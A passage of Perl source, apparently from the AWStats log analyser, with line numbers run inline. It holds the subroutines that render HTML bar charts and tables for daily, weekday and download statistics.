) { 13636 $max_k = $DayBytes{ $year . $month . $day }; 13637 } 13638 } 13639 $average_v = sprintf( "%.2f", $AverageVisits ); 13640 $average_p = sprintf( "%.2f", $AveragePages ); 13641 $average_h = sprintf( "%.2f", $AverageHits ); 13642 $average_k = sprintf( "%.2f", $AverageBytes ); 13643 13644 # Show bars for day 13645 my $graphdone=0; 13646 foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) 13647 { 13648 my @blocklabel = (); 13649 foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime ) 13650 { 13651 $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; 13652 my $year = $1; 13653 my $month = $2; 13654 my $day = $3; 13655 if ( !DateIsValid( $day, $month, $year ) ) { 13656 next; 13657 } # If not an existing day, go to next 13658 my $bold = 13659 ( $day == $nowday 13660 && $month == $nowmonth 13661 && $year == $nowyear ? ':' : '' ); 13662 my $weekend = 13663 ( DayOfWeek( $day, $month, $year ) =~ /[06]/ ? '!' : '' ); 13664 push @blocklabel, 13665 "$day\n$MonthNumLib{$month}$weekend$bold"; 13666 } 13667 my @vallabel = ( 13668 "$Message[10]", "$Message[56]", 13669 "$Message[57]", "$Message[75]" 13670 ); 13671 my @valcolor = 13672 ( "$color_v", "$color_p", "$color_h", "$color_k" ); 13673 my @valmax = ( $max_v, $max_h, $max_h, $max_k ); 13674 my @valtotal = ( $total_v, $total_p, $total_h, $total_k ); 13675 my @valaverage = 13676 ( $average_v, $average_p, $average_h, $average_k ); 13677 my @valdata = (); 13678 my $xx = 0; 13679 13680 foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime ) 13681 { 13682 $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; 13683 my $year = $1; 13684 my $month = $2; 13685 my $day = $3; 13686 if ( !DateIsValid( $day, $month, $year ) ) { 13687 next; 13688 } # If not an existing day, go to next 13689 $valdata[ $xx++ ] = $DayVisits{ $year . $month . $day } 13690 || 0; 13691 $valdata[ $xx++ ] = $DayPages{ $year . $month . $day } || 0; 13692 $valdata[ $xx++ ] = $DayHits{ $year . $month . $day } || 0; 13693 $valdata[ $xx++ ] = $DayBytes{ $year . $month . $day } || 0; 13694 } 13695 my $function = "ShowGraph_$pluginname"; 13696 &$function( 13697 "$title", "daysofmonth", 13698 $ShowDaysOfMonthStats, \@blocklabel, 13699 \@vallabel, \@valcolor, 13700 \@valmax, \@valtotal, 13701 \@valaverage, \@valdata 13702 ); 13703 $graphdone=1; 13704 } 13705 # If graph was not printed by a plugin 13706 if (! $graphdone) { 13707 print "<table>\n"; 13708 print "<tr valign=\"bottom\">\n"; 13709 foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime ) 13710 { 13711 $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; 13712 my $year = $1; 13713 my $month = $2; 13714 my $day = $3; 13715 if ( !DateIsValid( $day, $month, $year ) ) { 13716 next; 13717 } # If not an existing day, go to next 13718 my $bredde_v = 0; 13719 my $bredde_p = 0; 13720 my $bredde_h = 0; 13721 my $bredde_k = 0; 13722 if ( $max_v > 0 ) { 13723 $bredde_v = 13724 int( ( $DayVisits{ $year . $month . $day } || 0 ) / 13725 $max_v * $BarHeight ) + 1; 13726 } 13727 if ( $max_h > 0 ) { 13728 $bredde_p = 13729 int( ( $DayPages{ $year . $month . $day } || 0 ) / 13730 $max_h * $BarHeight ) + 1; 13731 } 13732 if ( $max_h > 0 ) { 13733 $bredde_h = 13734 int( ( $DayHits{ $year . $month . $day } || 0 ) / 13735 $max_h * $BarHeight ) + 1; 13736 } 13737 if ( $max_k > 0 ) { 13738 $bredde_k = 13739 int( ( $DayBytes{ $year . $month . $day } || 0 ) / 13740 $max_k * $BarHeight ) + 1; 13741 } 13742 print "<td>"; 13743 if ( $ShowDaysOfMonthStats =~ /V/i ) { 13744 print 13745"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\"" 13746 . AltTitle( "$Message[10]: " 13747 . int( $DayVisits{ $year . $month . $day } || 0 ) 13748 ) 13749 . " />"; 13750 } 13751 if ( $ShowDaysOfMonthStats =~ /P/i ) { 13752 print 13753"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"4\"" 13754 . AltTitle( "$Message[56]: " 13755 . int( $DayPages{ $year . $month . $day } || 0 ) ) 13756 . " />"; 13757 } 13758 if ( $ShowDaysOfMonthStats =~ /H/i ) { 13759 print 13760"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"4\"" 13761 . AltTitle( "$Message[57]: " 13762 . int( $DayHits{ $year . $month . $day } || 0 ) ) 13763 . " />"; 13764 } 13765 if ( $ShowDaysOfMonthStats =~ /B/i ) { 13766 print 13767"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"4\"" 13768 . AltTitle( 13769 "$Message[75]: " 13770 . Format_Bytes( 13771 $DayBytes{ $year . $month . $day } 13772 ) 13773 ) 13774 . " />"; 13775 } 13776 print "</td>\n"; 13777 } 13778 print "<td> </td>"; 13779 13780 # Show average value bars 13781 print "<td>"; 13782 my $bredde_v = 0; 13783 my $bredde_p = 0; 13784 my $bredde_h = 0; 13785 my $bredde_k = 0; 13786 if ( $max_v > 0 ) { 13787 $bredde_v = int( $average_v / $max_v * $BarHeight ) + 1; 13788 } 13789 if ( $max_h > 0 ) { 13790 $bredde_p = int( $average_p / $max_h * $BarHeight ) + 1; 13791 } 13792 if ( $max_h > 0 ) { 13793 $bredde_h = int( $average_h / $max_h * $BarHeight ) + 1; 13794 } 13795 if ( $max_k > 0 ) { 13796 $bredde_k = int( $average_k / $max_k * $BarHeight ) + 1; 13797 } 13798 $average_v = sprintf( "%.2f", $average_v ); 13799 $average_p = sprintf( "%.2f", $average_p ); 13800 $average_h = sprintf( "%.2f", $average_h ); 13801 $average_k = sprintf( "%.2f", $average_k ); 13802 if ( $ShowDaysOfMonthStats =~ /V/i ) { 13803 print 13804"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\"" 13805 . AltTitle("$Message[10]: $average_v") . " />"; 13806 } 13807 if ( $ShowDaysOfMonthStats =~ /P/i ) { 13808 print 13809"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"4\"" 13810 . AltTitle("$Message[56]: $average_p") . " />"; 13811 } 13812 if ( $ShowDaysOfMonthStats =~ /H/i ) { 13813 print 13814"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"4\"" 13815 . AltTitle("$Message[57]: $average_h") . " />"; 13816 } 13817 if ( $ShowDaysOfMonthStats =~ /B/i ) { 13818 print 13819"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"4\"" 13820 . AltTitle("$Message[75]: $average_k") . " />"; 13821 } 13822 print "</td>\n"; 13823 print "</tr>\n"; 13824 13825 # Show lib for day 13826 print "<tr valign=\"middle\">"; 13827 foreach 13828 my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime ) 13829 { 13830 $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; 13831 my $year = $1; 13832 my $month = $2; 13833 my $day = $3; 13834 if ( !DateIsValid( $day, $month, $year ) ) { 13835 next; 13836 } # If not an existing day, go to next 13837 my $dayofweekcursor = DayOfWeek( $day, $month, $year ); 13838 print "<td" 13839 . ( 13840 $dayofweekcursor =~ /[06]/ 13841 ? " bgcolor=\"#$color_weekend\"" 13842 : "" 13843 ) 13844 . ">"; 13845 print( 13846 !$StaticLinks 13847 && $day == $nowday 13848 && $month == $nowmonth 13849 && $year == $nowyear 13850 ? '<span class="currentday">' 13851 : '' 13852 ); 13853 print "$day<br /><span style=\"font-size: " 13854 . ( $FrameName ne 'mainright' 13855 && $QueryString !~ /buildpdf/i ? "9" : "8" ) 13856 . "px;\">" 13857 . $MonthNumLib{$month} 13858 . "</span>"; 13859 print( !$StaticLinks 13860 && $day == $nowday 13861 && $month == $nowmonth 13862 && $year == $nowyear ? '</span>' : '' ); 13863 print "</td>\n"; 13864 } 13865 print "<td> </td>"; 13866 print "<td valign=\"middle\"" 13867 . Tooltip(18) 13868 . ">$Message[96]</td>\n"; 13869 print "</tr>\n"; 13870 print "</table>\n"; 13871 } 13872 print "<br />\n"; 13873 13874 # Show data array for days 13875 if ($AddDataArrayShowDaysOfMonthStats) { 13876 print "<table>\n"; 13877 print 13878"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[4]</td>"; 13879 if ( $ShowDaysOfMonthStats =~ /V/i ) { 13880 print "<td width=\"80\" bgcolor=\"#$color_v\"" 13881 . Tooltip(1) 13882 . ">$Message[10]</td>"; 13883 } 13884 if ( $ShowDaysOfMonthStats =~ /P/i ) { 13885 print "<td width=\"80\" bgcolor=\"#$color_p\"" 13886 . Tooltip(3) 13887 . ">$Message[56]</td>"; 13888 } 13889 if ( $ShowDaysOfMonthStats =~ /H/i ) { 13890 print "<td width=\"80\" bgcolor=\"#$color_h\"" 13891 . Tooltip(4) 13892 . ">$Message[57]</td>"; 13893 } 13894 if ( $ShowDaysOfMonthStats =~ /B/i ) { 13895 print "<td width=\"80\" bgcolor=\"#$color_k\"" 13896 . Tooltip(5) 13897 . ">$Message[75]</td>"; 13898 } 13899 print "</tr>"; 13900 foreach 13901 my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime ) 13902 { 13903 $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; 13904 my $year = $1; 13905 my $month = $2; 13906 my $day = $3; 13907 if ( !DateIsValid( $day, $month, $year ) ) { 13908 next; 13909 } # If not an existing day, go to next 13910 my $dayofweekcursor = DayOfWeek( $day, $month, $year ); 13911 print "<tr" 13912 . ( 13913 $dayofweekcursor =~ /[06]/ 13914 ? " bgcolor=\"#$color_weekend\"" 13915 : "" 13916 ) 13917 . ">"; 13918 print "<td>" 13919 . ( 13920 !$StaticLinks 13921 && $day == $nowday 13922 && $month == $nowmonth 13923 && $year == $nowyear 13924 ? '<span class="currentday">' 13925 : '' 13926 ); 13927 print Format_Date( "$year$month$day" . "000000", 2 ); 13928 print( !$StaticLinks 13929 && $day == $nowday 13930 && $month == $nowmonth 13931 && $year == $nowyear ? '</span>' : '' ); 13932 print "</td>"; 13933 if ( $ShowDaysOfMonthStats =~ /V/i ) { 13934 print "<td>", 13935 Format_Number($DayVisits{ $year . $month . $day } 13936 ? $DayVisits{ $year . $month . $day } 13937 : "0"), "</td>"; 13938 } 13939 if ( $ShowDaysOfMonthStats =~ /P/i ) { 13940 print "<td>", 13941 Format_Number($DayPages{ $year . $month . $day } 13942 ? $DayPages{ $year . $month . $day } 13943 : "0"), "</td>"; 13944 } 13945 if ( $ShowDaysOfMonthStats =~ /H/i ) { 13946 print "<td>", 13947 Format_Number($DayHits{ $year . $month . $day } 13948 ? $DayHits{ $year . $month . $day } 13949 : "0"), "</td>"; 13950 } 13951 if ( $ShowDaysOfMonthStats =~ /B/i ) { 13952 print "<td>", 13953 Format_Bytes( 13954 int( $DayBytes{ $year . $month . $day } || 0 ) ), 13955 "</td>"; 13956 } 13957 print "</tr>\n"; 13958 } 13959 13960 # Average row 13961 print 13962"<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[96]</td>"; 13963 if ( $ShowDaysOfMonthStats =~ /V/i ) { 13964 print "<td>".Format_Number(int($average_v))."</td>"; 13965 } 13966 if ( $ShowDaysOfMonthStats =~ /P/i ) { 13967 print "<td>".Format_Number(int($average_p))."</td>"; 13968 } 13969 if ( $ShowDaysOfMonthStats =~ /H/i ) { 13970 print "<td>".Format_Number(int($average_h))."</td>"; 13971 } 13972 if ( $ShowDaysOfMonthStats =~ /B/i ) { 13973 print "<td>".Format_Bytes(int($average_k))."</td>"; 13974 } 13975 print "</tr>\n"; 13976 13977 # Total row 13978 print 13979"<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[102]</td>"; 13980 if ( $ShowDaysOfMonthStats =~ /V/i ) { 13981 print "<td>".Format_Number($total_v)."</td>"; 13982 } 13983 if ( $ShowDaysOfMonthStats =~ /P/i ) { 13984 print "<td>".Format_Number($total_p)."</td>"; 13985 } 13986 if ( $ShowDaysOfMonthStats =~ /H/i ) { 13987 print "<td>".Format_Number($total_h)."</td>"; 13988 } 13989 if ( $ShowDaysOfMonthStats =~ /B/i ) { 13990 print "<td>" . Format_Bytes($total_k) . "</td>"; 13991 } 13992 print "</tr>\n"; 13993 print "</table>\n<br />"; 13994 } 13995 13996 print "</center>\n"; 13997 print "</td></tr>\n"; 13998 &tab_end(); 13999} 14000 14001#------------------------------------------------------------------------------ 14002# Function: Prints the Days of the Week section on the main page 14003# Parameters: $firstdaytocountaverage, $lastdaytocountaverage 14004# Input: _ 14005# Output: HTML 14006# Return: - 14007#------------------------------------------------------------------------------ 14008sub HTMLMainDaysofWeek{ 14009 my $firstdaytocountaverage = shift; 14010 my $lastdaytocountaverage = shift; 14011 my $NewLinkParams = shift; 14012 my $NewLinkTarget = shift; 14013 14014 if ($Debug) { debug( "ShowDaysOfWeekStats", 2 ); } 14015 print "$Center<a name=\"daysofweek\"> </a><br />\n"; 14016 my $title = "$Message[91]"; 14017 &tab_head( "$title", 18, 0, 'daysofweek' ); 14018 print "<tr>"; 14019 print "<td align=\"center\">"; 14020 print "<center>\n"; 14021 14022 my $max_h = my $max_k = 0; # Start from 0 because can be lower than 1 14023 # Get average value for day of week 14024 my @avg_dayofweek_nb = (); 14025 my @avg_dayofweek_p = (); 14026 my @avg_dayofweek_h = (); 14027 my @avg_dayofweek_k = (); 14028 foreach my $daycursor ( 14029 $firstdaytocountaverage .. $lastdaytocountaverage ) 14030 { 14031 $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; 14032 my $year = $1; 14033 my $month = $2; 14034 my $day = $3; 14035 if ( !DateIsValid( $day, $month, $year ) ) { 14036 next; 14037 } # If not an existing day, go to next 14038 my $dayofweekcursor = DayOfWeek( $day, $month, $year ); 14039 $avg_dayofweek_nb[$dayofweekcursor] 14040 ++; # Increase number of day used to count for this day of week 14041 $avg_dayofweek_p[$dayofweekcursor] += 14042 ( $DayPages{$daycursor} || 0 ); 14043 $avg_dayofweek_h[$dayofweekcursor] += 14044 ( $DayHits{$daycursor} || 0 ); 14045 $avg_dayofweek_k[$dayofweekcursor] += 14046 ( $DayBytes{$daycursor} || 0 ); 14047 } 14048 for (@DOWIndex) { 14049 if ( $avg_dayofweek_nb[$_] ) { 14050 $avg_dayofweek_p[$_] = 14051 $avg_dayofweek_p[$_] / $avg_dayofweek_nb[$_]; 14052 $avg_dayofweek_h[$_] = 14053 $avg_dayofweek_h[$_] / $avg_dayofweek_nb[$_]; 14054 $avg_dayofweek_k[$_] = 14055 $avg_dayofweek_k[$_] / $avg_dayofweek_nb[$_]; 14056 14057 #if ($avg_dayofweek_p[$_] > $max_p) { $max_p = $avg_dayofweek_p[$_]; } 14058 if ( $avg_dayofweek_h[$_] > $max_h ) { 14059 $max_h = $avg_dayofweek_h[$_]; 14060 } 14061 if ( $avg_dayofweek_k[$_] > $max_k ) { 14062 $max_k = $avg_dayofweek_k[$_]; 14063 } 14064 } 14065 else { 14066 $avg_dayofweek_p[$_] = "?"; 14067 $avg_dayofweek_h[$_] = "?"; 14068 $avg_dayofweek_k[$_] = "?"; 14069 } 14070 } 14071 14072 # Show bars for days of week 14073 my $graphdone=0; 14074 foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) 14075 { 14076 my @blocklabel = (); 14077 for (@DOWIndex) { 14078 push @blocklabel, 14079 ( $Message[ $_ + 84 ] . ( $_ =~ /[06]/ ? "!" : "" ) ); 14080 } 14081 my @vallabel = 14082 ( "$Message[56]", "$Message[57]", "$Message[75]" ); 14083 my @valcolor = ( "$color_p", "$color_h", "$color_k" ); 14084 my @valmax = ( int($max_h), int($max_h), int($max_k) ); 14085 my @valtotal = ( $TotalPages, $TotalHits, $TotalBytes ); 14086 # TEMP 14087 my $average_p = my $average_h = my $average_k = 0; 14088 $average_p = sprintf( "%.2f", $AveragePages ); 14089 $average_h = sprintf( "%.2f", $AverageHits ); 14090 $average_k = ( 14091 int($average_k) 14092 ? Format_Bytes( sprintf( "%.2f", $AverageBytes ) ) 14093 : "0.00" 14094 ); 14095 my @valaverage = ( $average_p, $average_h, $average_k ); 14096 my @valdata = (); 14097 my $xx = 0; 14098 14099 for (@DOWIndex) { 14100 $valdata[ $xx++ ] = $avg_dayofweek_p[$_] || 0; 14101 $valdata[ $xx++ ] = $avg_dayofweek_h[$_] || 0; 14102 $valdata[ $xx++ ] = $avg_dayofweek_k[$_] || 0; 14103 14104 # Round to be ready to show array 14105 $avg_dayofweek_p[$_] = 14106 sprintf( "%.2f", $avg_dayofweek_p[$_] ); 14107 $avg_dayofweek_h[$_] = 14108 sprintf( "%.2f", $avg_dayofweek_h[$_] ); 14109 $avg_dayofweek_k[$_] = 14110 sprintf( "%.2f", $avg_dayofweek_k[$_] ); 14111 14112 # Remove decimal part that are .0 14113 if ( $avg_dayofweek_p[$_] == int( $avg_dayofweek_p[$_] ) ) { 14114 $avg_dayofweek_p[$_] = int( $avg_dayofweek_p[$_] ); 14115 } 14116 if ( $avg_dayofweek_h[$_] == int( $avg_dayofweek_h[$_] ) ) { 14117 $avg_dayofweek_h[$_] = int( $avg_dayofweek_h[$_] ); 14118 } 14119 } 14120 my $function = "ShowGraph_$pluginname"; 14121 &$function( 14122 "$title", "daysofweek", 14123 $ShowDaysOfWeekStats, \@blocklabel, 14124 \@vallabel, \@valcolor, 14125 \@valmax, \@valtotal, 14126 \@valaverage, \@valdata 14127 ); 14128 $graphdone=1; 14129 } 14130 if (! $graphdone) 14131 { 14132 print "<table>\n"; 14133 print "<tr valign=\"bottom\">\n"; 14134 for (@DOWIndex) { 14135 my $bredde_p = 0; 14136 my $bredde_h = 0; 14137 my $bredde_k = 0; 14138 if ( $max_h > 0 ) { 14139 $bredde_p = int( 14140 ( 14141 $avg_dayofweek_p[$_] ne '?' 14142 ? $avg_dayofweek_p[$_] 14143 : 0 14144 ) / $max_h * $BarHeight 14145 ) + 1; 14146 } 14147 if ( $max_h > 0 ) { 14148 $bredde_h = int( 14149 ( 14150 $avg_dayofweek_h[$_] ne '?' 14151 ? $avg_dayofweek_h[$_] 14152 : 0 14153 ) / $max_h * $BarHeight 14154 ) + 1; 14155 } 14156 if ( $max_k > 0 ) { 14157 $bredde_k = int( 14158 ( 14159 $avg_dayofweek_k[$_] ne '?' 14160 ? $avg_dayofweek_k[$_] 14161 : 0 14162 ) / $max_k * $BarHeight 14163 ) + 1; 14164 } 14165 $avg_dayofweek_p[$_] = sprintf( 14166 "%.2f", 14167 ( 14168 $avg_dayofweek_p[$_] ne '?' 14169 ? $avg_dayofweek_p[$_] 14170 : 0 14171 ) 14172 ); 14173 $avg_dayofweek_h[$_] = sprintf( 14174 "%.2f", 14175 ( 14176 $avg_dayofweek_h[$_] ne '?' 14177 ? $avg_dayofweek_h[$_] 14178 : 0 14179 ) 14180 ); 14181 $avg_dayofweek_k[$_] = sprintf( 14182 "%.2f", 14183 ( 14184 $avg_dayofweek_k[$_] ne '?' 14185 ? $avg_dayofweek_k[$_] 14186 : 0 14187 ) 14188 ); 14189 14190 # Remove decimal part that are .0 14191 if ( $avg_dayofweek_p[$_] == int( $avg_dayofweek_p[$_] ) ) { 14192 $avg_dayofweek_p[$_] = int( $avg_dayofweek_p[$_] ); 14193 } 14194 if ( $avg_dayofweek_h[$_] == int( $avg_dayofweek_h[$_] ) ) { 14195 $avg_dayofweek_h[$_] = int( $avg_dayofweek_h[$_] ); 14196 } 14197 print "<td valign=\"bottom\">"; 14198 if ( $ShowDaysOfWeekStats =~ /P/i ) { 14199 print 14200"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\"" 14201 . AltTitle("$Message[56]: $avg_dayofweek_p[$_]") 14202 . " />"; 14203 } 14204 if ( $ShowDaysOfWeekStats =~ /H/i ) { 14205 print 14206"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\"" 14207 . AltTitle("$Message[57]: $avg_dayofweek_h[$_]") 14208 . " />"; 14209 } 14210 if ( $ShowDaysOfWeekStats =~ /B/i ) { 14211 print 14212"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\"" 14213 . AltTitle( "$Message[75]: " 14214 . Format_Bytes( $avg_dayofweek_k[$_] ) ) 14215 . " />"; 14216 } 14217 print "</td>\n"; 14218 } 14219 print "</tr>\n"; 14220 print "<tr" . Tooltip(17) . ">\n"; 14221 for (@DOWIndex) { 14222 print "<td" 14223 . ( $_ =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" ) 14224 . ">" 14225 . ( 14226 !$StaticLinks 14227 && $_ == ( $nowwday - 1 ) 14228 && $MonthRequired == $nowmonth 14229 && $YearRequired == $nowyear 14230 ? '<span class="currentday">' 14231 : '' 14232 ); 14233 print $Message[ $_ + 84 ]; 14234 print( !$StaticLinks 14235 && $_ == ( $nowwday - 1 ) 14236 && $MonthRequired == $nowmonth 14237 && $YearRequired == $nowyear ? '</span>' : '' ); 14238 print "</td>"; 14239 } 14240 print "</tr>\n</table>\n"; 14241 } 14242 print "<br />\n"; 14243 14244 # Show data array for days of week 14245 if ($AddDataArrayShowDaysOfWeekStats) { 14246 print "<table>\n"; 14247 print 14248"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[4]</td>"; 14249 if ( $ShowDaysOfWeekStats =~ /P/i ) { 14250 print "<td width=\"80\" bgcolor=\"#$color_p\"" 14251 . Tooltip(3) 14252 . ">$Message[56]</td>"; 14253 } 14254 if ( $ShowDaysOfWeekStats =~ /H/i ) { 14255 print "<td width=\"80\" bgcolor=\"#$color_h\"" 14256 . Tooltip(4) 14257 . ">$Message[57]</td>"; 14258 } 14259 if ( $ShowDaysOfWeekStats =~ /B/i ) { 14260 print "<td width=\"80\" bgcolor=\"#$color_k\"" 14261 . Tooltip(5) 14262 . ">$Message[75]</td></tr>"; 14263 } 14264 for (@DOWIndex) { 14265 print "<tr" 14266 . ( $_ =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" ) 14267 . ">"; 14268 print "<td>" 14269 . ( 14270 !$StaticLinks 14271 && $_ == ( $nowwday - 1 ) 14272 && $MonthRequired == $nowmonth 14273 && $YearRequired == $nowyear 14274 ? '<span class="currentday">' 14275 : '' 14276 ); 14277 print $Message[ $_ + 84 ]; 14278 print( !$StaticLinks 14279 && $_ == ( $nowwday - 1 ) 14280 && $MonthRequired == $nowmonth 14281 && $YearRequired == $nowyear ? '</span>' : '' ); 14282 print "</td>"; 14283 if ( $ShowDaysOfWeekStats =~ /P/i ) { 14284 print "<td>", Format_Number(int($avg_dayofweek_p[$_])), "</td>"; 14285 } 14286 if ( $ShowDaysOfWeekStats =~ /H/i ) { 14287 print "<td>", Format_Number(int($avg_dayofweek_h[$_])), "</td>"; 14288 } 14289 if ( $ShowDaysOfWeekStats =~ /B/i ) { 14290 print "<td>", Format_Bytes(int($avg_dayofweek_k[$_])), 14291 "</td>"; 14292 } 14293 print "</tr>\n"; 14294 } 14295 print "</table>\n<br />\n"; 14296 } 14297 14298 print "</center></td>"; 14299 print "</tr>\n"; 14300 &tab_end(); 14301} 14302 14303#------------------------------------------------------------------------------ 14304# Function: Prints the Downloads chart and table 14305# Parameters: - 14306# Input: $NewLinkParams, $NewLinkTarget 14307# Output: HTML 14308# Return: - 14309#------------------------------------------------------------------------------ 14310sub HTMLMainDownloads{ 14311 my $NewLinkParams = shift; 14312 my $NewLinkTarget = shift; 14313 if (!$LevelForFileTypesDetection > 0){return;} 14314 if ($Debug) { debug( "ShowDownloadStats", 2 ); } 14315 my $regext = qr/\.(\w{1,6})$/; 14316 print "$Center<a name=\"downloads\"> </a><br />\n"; 14317 my $Totalh = 0; 14318 if ($MaxNbOf{'DownloadsShown'} < 1){$MaxNbOf{'DownloadsShown'} = 10;} # default if undefined 14319 my $title = 14320 "$Message[178] ($Message[77] $MaxNbOf{'DownloadsShown'}) - <a href=\"" 14321 . ( 14322 $ENV{'GATEWAY_INTERFACE'} 14323 || !$StaticLinks 14324 ? XMLEncode("$AWScript${NewLinkParams}output=downloads") 14325 : "$StaticLinks.downloads.$StaticExt" 14326 ) 14327 . "\"$NewLinkTarget>$Message[80]</a>"; 14328 14329 if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { 14330 # extend the title to include the added link 14331 $title = "$title - <a href=\"" . (XMLEncode( 14332 "$AddLinkToExternalCGIWrapper" . "?section=DOWNLOADS&baseName=$DirData/$PROG" 14333 . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" 14334 . "&siteConfig=$SiteConfig" ) 14335 . "\"$NewLinkTarget>$Message[179]</a>"); 14336 } 14337 14338 &tab_head( "$title", 0, 0, 'downloads' ); 14339 my $cnt=0; 14340 for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){ 14341 $Totalh += $_downloads{$u}->{'AWSTATS_HITS'}; 14342 $cnt++; 14343 if ($cnt > 4){last;} 14344 } 14345 # Graph the top five in a pie chart 14346 if (($Totalh > 0) and (scalar keys %_downloads > 1)){ 14347 foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) 14348 { 14349 my @blocklabel = (); 14350 my @valdata = (); 14351 my @valcolor = ($color_p); 14352 my $cnt = 0; 14353 for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){ 14354 push @valdata, ($_downloads{$u}->{'AWSTATS_HITS'} / $Totalh * 1000 ) / 10; 14355 push @blocklabel, Get_Filename($u); 14356 $cnt++; 14357 if ($cnt > 4) { last; } 14358 } 14359 my $columns = 2; 14360 if ($ShowDownloadsStats =~ /H/i){$columns += length($ShowDownloadsStats)+1;} 14361 else{$columns += length($ShowDownloadsStats);} 14362 print "<tr><td colspan=\"$columns\">"; 14363 my $function = "ShowGraph_$pluginname"; 14364 &$function( 14365 "$Message[80]", "downloads", 14366 0, \@blocklabel, 14367 0, \@valcolor, 14368 0, 0, 14369 0, \@valdata 14370 ); 14371 print "</td></tr>"; 14372 } 14373 } 14374 14375 my $total_dls = scalar keys %_downloads; 14376 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[178]: $total_dls</th>"; 14377 if ( $ShowDownloadsStats =~ /H/i ){print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>" 14378 ."<th bgcolor=\"#$color_h\" width=\"80\">206 $Message[57]</th>"; } 14379 if ( $ShowDownloadsStats =~ /B/i ){ 14380 print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; 14381 print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; 14382 } 14383 print "</tr>\n"; 14384 my $count = 0; 14385 for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){ 14386 print "<tr>"; 14387 my $ext = Get_Extension($regext, $u); 14388 if ( !$ext) { 14389 print "<td" 14390 . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) 14391 . "><img src=\"$DirIcons\/mime\/unknown.png\"" 14392 . AltTitle("") 14393 . " /></td>"; 14394 } 14395 else { 14396 my $nameicon = $MimeHashLib{$ext}[0] || "notavailable"; 14397 my $nametype = $MimeHashFamily{$MimeHashLib{$ext}[0]} || " "; 14398 print "<td" 14399 . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) 14400 . "><img src=\"$DirIcons\/mime\/$nameicon.png\"" 14401 . AltTitle("") 14402 . " /></td>"; 14403 } 14404 print "<td class=\"aws\">"; 14405 &HTMLShowURLInfo($u); 14406 print "</td>"; 14407 if ( $ShowDownloadsStats =~ /H/i ){ 14408 print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_HITS'})."</td>"; 14409 print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_206'})."</td>"; 14410 } 14411 if ( $ShowDownloadsStats =~ /B/i ){ 14412 print "<td>".Format_Bytes($_downloads{$u}->{'AWSTATS_SIZE'})."</td>"; 14413 print "<td>".Format_Bytes(($_downloads{$u}->{'AWSTATS_SIZE'}/ 14414 ($_downloads{$u}->{'AWSTATS_HITS'} + $_downloads{$u}->{'AWSTATS_206'})))."</td>"; 14415 } 14416 print "</tr>\n"; 14417 $count++; 14418 if ($count >= $MaxNbOf{'DownloadsShown'}){last;} 14419 } 14420 &tab_end(); 14421} 14422 14423#------------------------------------------------------------------------------ 14424# Function: Prints the hours chart and table 14425# Parameters: $NewLinkParams, $NewLinkTarget 14426# Input: - 14427# Output: HTML 14428# Return: - 14429#------------------------------------------------------------------------------ 14430sub HTMLMainHours{ 14431 my $NewLinkParams = shift; 14432 my $NewLinkTarget = shift; 14433 14434 if ($Debug) { debug( "ShowHoursStats", 2 ); } 14435 print "$Center<a name=\"hours\"> </a><br />\n"; 14436 my $title = "$Message[20]"; 14437 14438 if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || 